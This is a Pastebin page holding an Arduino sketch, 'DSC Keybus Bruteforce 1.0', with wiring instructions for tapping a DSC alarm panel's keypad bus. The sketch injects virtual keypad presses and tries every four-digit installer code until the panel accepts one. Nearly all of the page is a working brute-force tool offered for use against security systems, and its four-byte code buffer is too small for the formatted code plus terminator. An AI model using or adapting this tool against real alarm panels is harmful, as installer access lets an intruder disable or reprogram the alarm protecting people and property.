Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- DSC Keybus Bruteforce 1.0 (Arduino)
- Connect the Arduino to the keypad lines as shown below, including the optional "Virtual Keypad".
- Press *8 to enter installer programming mode, and the process will start. When the correct code is found, it will stop,
- so leave your serial monitor open!
- Wiring:
- DSC Aux(+) --- Arduino Vin pin
- DSC Aux(-) --- Arduino Ground
- +--- dscClockPin (Arduino Uno: 2,3)
- DSC Yellow --- 15k ohm resistor ---|
- +--- 10k ohm resistor --- Ground
- +--- dscReadPin (Arduino Uno: 2-12)
- DSC Green ---- 15k ohm resistor ---|
- +--- 10k ohm resistor --- Ground
- Virtual keypad (optional):
- DSC Green ---- NPN collector --\
- |-- NPN base --- 1k ohm resistor --- dscWritePin (Arduino Uno: 2-12)
- Ground --- NPN emitter --/
- Virtual keypad uses an NPN transistor to pull the data line low - most small signal NPN transistors should
- be suitable, for example:
- -- 2N3904
- -- BC547, BC548, BC549
- */
- #include <dscKeybusInterface.h>
- // Configures the Keybus interface with the specified pins - dscWritePin is optional, leaving it out disables the
- // virtual keypad.
- #define dscClockPin 3 // Arduino Uno hardware interrupt pin: 2,3
- #define dscReadPin 5 // Arduino Uno: 2-12
- #define dscWritePin 6 // Arduino Uno: 2-12
- dscKeybusInterface dsc(dscClockPin, dscReadPin, dscWritePin);
- uint16_t currentCode = 0;
- void setup() {
- Serial.begin(115200);
- Serial.println();
- Serial.println();
- // Optional configuration
- dsc.hideKeypadDigits = false; // Controls if keypad digits are hidden for publicly posted logs (default: false)
- dsc.processRedundantData = false; // Controls if repeated periodic commands are processed and displayed (default: true)
- dsc.processModuleData = true; // Controls if keypad and module data is processed and displayed (default: false)
- dsc.displayTrailingBits = false; // Controls if bits read as the clock is reset are displayed, appears to be spurious data (default: false)
- // Starts the Keybus interface and optionally specifies how to print data.
- // begin() sets Serial by default and can accept a different stream: begin(Serial1), etc.
- dsc.begin();
- Serial.println(F("DSC Keybus Interface is online."));
- }
- void loop() {
- // Reads from serial input and writes to the Keybus as a virtual keypad
- if (Serial.available() > 0 && dsc.writeReady) {
- dsc.write(Serial.read());
- }
- if (dsc.handlePanel()) {
- if (dsc.panelData[0] == 0x05) {
- if (dsc.panelData[3] == 0xB7) {
- Serial.print ("enter installer code...");
- sendNextCode();
- } else if (dsc.panelData[3] == 0x8F) {
- Serial.println ("...WRONG CODE");
- }
- }
- }
- }
- void sendNextCode() {
- char buf[4];
- sprintf (buf, "%04d", currentCode);
- Serial.print (buf);
- Serial.print ("...");
- for (int i=0; i<sizeof(buf); i++) {
- dsc.write (buf[i]);
- delay(200);
- }
- currentCode++;
- }
Add Comment
Please, Sign In to add comment